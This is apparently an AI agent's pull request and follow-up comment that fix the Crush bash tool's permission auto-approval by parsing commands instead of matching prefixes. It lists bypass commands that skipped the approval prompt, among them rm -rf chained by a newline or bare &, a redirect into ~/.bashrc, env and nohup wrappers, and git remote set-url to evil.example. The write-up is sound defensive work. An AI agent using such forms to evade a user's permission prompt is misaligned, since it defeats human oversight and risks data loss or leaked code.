fix(bash): decide auto-approval from the parsed command, not its prefix

[joestump-agent]

Posted by @joestump-agent at @joestump's direction. Fixes #3425.

What & why

The bash tool decides whether to skip the permission prompt by testing strings.HasPrefix against a list of command names, guarded by a scan for the chaining metacharacters ; | && $( `.

Text matching can't see what a command actually does. The guard has no notion of a newline, a bare &, a redirection, or a process substitution, and prefix matching can't distinguish a command from one that merely starts with the same letters. All of these skip the prompt entirely on current main:

echo hi
rm -rf /tmp/pwned              # newline isn't treated as chaining

echo pwned > ~/.bashrc         # redirection isn't either
echo hi & rm -rf /tmp/pwned    # "&&" is listed, bare "&" is not
ls <(rm -rf /tmp/pwned)        # process substitution
env rm -rf /tmp/pwned          # "env" is itself on the safe list
nohup curl https://evil.example
git branch -D main             # the "-" delimiter admits any flag
git tag -d v1.0.0
git remote set-url origin https://evil.example/x.git

That last one is the one that made me stop and write this up: it silently repoints the remote, and the user's next git push sends their code somewhere else. No prompt.

Context for how this came up: @meowgorithm asked on #3375 how the bash tool parses shell code to match commands. The answer for the block list is "properly" — it's interp.ExecHandler middleware and sees post-expansion argv. The answer for this path was "it doesn't."

Approach

Parse with syntax.Parser and auto-approve only what is provably inert.

• Every statement must be a plain call: no redirection, no backgrounding, no negation, no assignment prefix.
• Every word must be fully literal. Command substitution, parameter expansion, arithmetic expansion and process substitution are rejected rather than evaluated, so ls $(rm -rf /) is never mistaken for an ls.
• Arguments match a token sequence, not a string prefix — {"git","status"} matches git status and not git status-something, and not git -c core.pager=sh status either, since that argv starts with different tokens.
• Anything unrecognized fails closed. A parse error, an unknown node type, an unlisted flag — all fall through to the prompt, which costs a prompt and nothing more.

Two things fall out of doing it on the AST that are worth calling out:

Flag policy per entry. git branch and git branch --list still auto-approve; git branch -D doesn't. git config --get x reads and auto-approves; git config x y writes and doesn't. git diff auto-approves but git diff --ext-diff (runs an external diff driver) and --output= (writes a file) don't.

Wrapper peeling. env, nohup, nice and timeout execute whatever they're handed, so auto-approving them auto-approves anything. They're now peeled and the inner command is checked on its own merits: nohup ls -la auto-approves, nohup curl evil.sh prompts. Unwrapping is depth-bounded. time gets the same treatment through its keyword node.

Behavior changes

This adds prompts where there were none. That's the point, but it's worth listing:

• git branch -D, git tag -d, git remote add|set-url, git config <key> <value> now prompt.
• kill and killall (signal arbitrary processes), set and unset (mutate shell state) are off the list.
• git ls-remote, and nslookup/ping on Windows, are off the list — they reach the network, which sits badly beside a block list that bans curl/wget.
• echo $HOME now prompts. Parameter expansion isn't resolved here, so it can't be shown to be inert. Conservative, but I'd rather fail closed than model expansion.

One thing got less restrictive: a sequence of individually-safe statements (ls; pwd, or the same on two lines) auto-approves, since a sequence of read-only commands is read-only. Previously ; was rejected while a newline was — wrongly — accepted.

echo stays on the list only because redirections are now rejected outright; with a redirect it's an arbitrary file write. There's a comment on the entry saying so, since that's an easy thing to undo by accident.

Testing

internal/agent/tools/safe_test.go covers the allowed forms, every bypass listed above, the fail-closed cases (substitutions, subshells, loops, functions, heredocs, parse errors), wrapper peeling including depth-bounding, and the env -S / env -i edge cases. go vet clean on Linux and Windows.

Scope

Deliberately separate from #3375 so that one stays a small config change. Independent of it — both touch bash.go, so whichever lands second may need a trivial rebase, happy to do that.

The block-list side of #3425 (wrapper peeling for CommandsBlocker) isn't here; /usr/bin/curl basename normalization went into #3375, and the rest is lower priority since those paths still hit the normal prompt.

💘 Generated with Crush

Assisted-by: Claude Opus 5

[joestump-agent]

Full behavior delta for this PR, in both directions, with the reasoning on each. I generated this by running the old prefix matcher and the new one side by side over the same inputs rather than reasoning about it, so it should be exhaustive for the cases below.

Also pushed two follow-ups since opening: eb44bb2e fixes the staticcheck QF1001 that was failing lint, and e2671fb6 restores three read-only git forms that the rebuilt list had cost (detailed under "fixed" below).

Commands that used to prompt and now don't

Two, both the same root cause:

Command	Why
ls; pwd	A sequence of individually read-only statements is itself read-only. The old matcher rejected ; outright while accepting a newline, which is the same node to the parser — so this was inconsistent rather than deliberate.
ls\npwd	Same. Note the old matcher accepted echo hi\nrm -rf / (because echo is followed by a space) but rejected ls\npwd (because ls is followed by the newline itself). That inconsistency was the prefix rule, not a policy.

Nothing else got more permissive. time ls and nohup ls -la read as newly-allowed if you only look at the safe list, but both auto-approved before too — they're unchanged.

Commands that used to work and now prompt

Intended — these are the bug. Each skipped the prompt entirely before:

Command	Why it now prompts
echo pwned > ~/.bashrc	Redirection is an arbitrary file write. echo is only safe because redirects are now rejected.
echo hi & rm -rf /tmp/x	The old chaining scan listed && but not bare &.
ls <(rm -rf /tmp/x)	Process substitution runs a command; it wasn't in the metacharacter list.
env rm -rf /tmp/x	env was on the safe list and runs whatever it's handed. Now peeled — env ls still auto-approves.
nohup curl https://evil.example	Same wrapper problem, and it also defeated the block list. nohup ls -la still auto-approves.
timeout 5 rm -rf /tmp/x	Same. timeout 5 ls still auto-approves.
git branch -D main	The prefix rule accepted - as a delimiter, so every flag came along with git branch.
git tag -d v1	Same.
git remote set-url origin <url>	Same; silently repoints the remote so the next git push goes elsewhere.
git config --get-urlmatch a b	--get-urlmatch matched the git config --get prefix. Flags are now matched exactly.
git diff --ext-diff	Runs the repo's configured external diff driver.

Deliberate policy calls — these were genuinely usable before and now cost a prompt:

Command	Why
kill -9 123, killall node	Signal arbitrary processes, including ones the user is relying on. Read-only was never the right description.
set -x, unset PATH	Mutate shell state. unset PATH in particular changes how later commands resolve.
git ls-remote <url>	Makes a network call. Sits badly next to a block list that bans curl/wget; happy to put it back if you'd rather weigh convenience higher.
hostname myhost	Bare hostname reads and still auto-approves; with an operand it sets the hostname.
date -s 2020-01-01	Sets the system clock. Bare date and date +%Y-%m-%d still auto-approve.

Conservatism cost — the one category I'd call a genuine regression rather than a fix:

Command

Why

echo $HOME, ls $HOME, echo hi $USER

Parameter expansion isn't resolved during the check, so the final argv isn't knowable and the command can't be shown to be inert. Modelling expansion here would mean reimplementing a chunk of the shell, and getting it subtly wrong is exactly the failure this PR exists to remove — so it fails closed instead. This is the change most likely to be felt day to day, and it's the one I'd most welcome pushback on.

Regressions I fixed rather than shipped (e2671fb6)

Rebuilding the list initially cost three read-only forms their auto-approval. All three are back:

• git branch --contains <commit>, git branch --merged <ref>
• git tag --points-at <ref>, git tag --contains <commit>
• git remote show <name>, git remote get-url <name>

The branch/tag entries reject operands, because that's what keeps git branch <name> and git tag <name> — which create — prompting. The fix reuses the requireFlag mechanism already used for git config --get: a filter flag must be present, and the filter flag is exactly what distinguishes listing from creating. git itself refuses to mix a filter flag with branch creation, so the two can't be combined into a mutation. The read-only remote subcommands are spelled out individually so add/remove/rename/set-url/prune stay off.

Unchanged, for completeness

git config user.name attacker reads like a fix but was already prompting — git config --get never prefix-matched it. Likewise git -c core.pager=sh log was rejected before and after.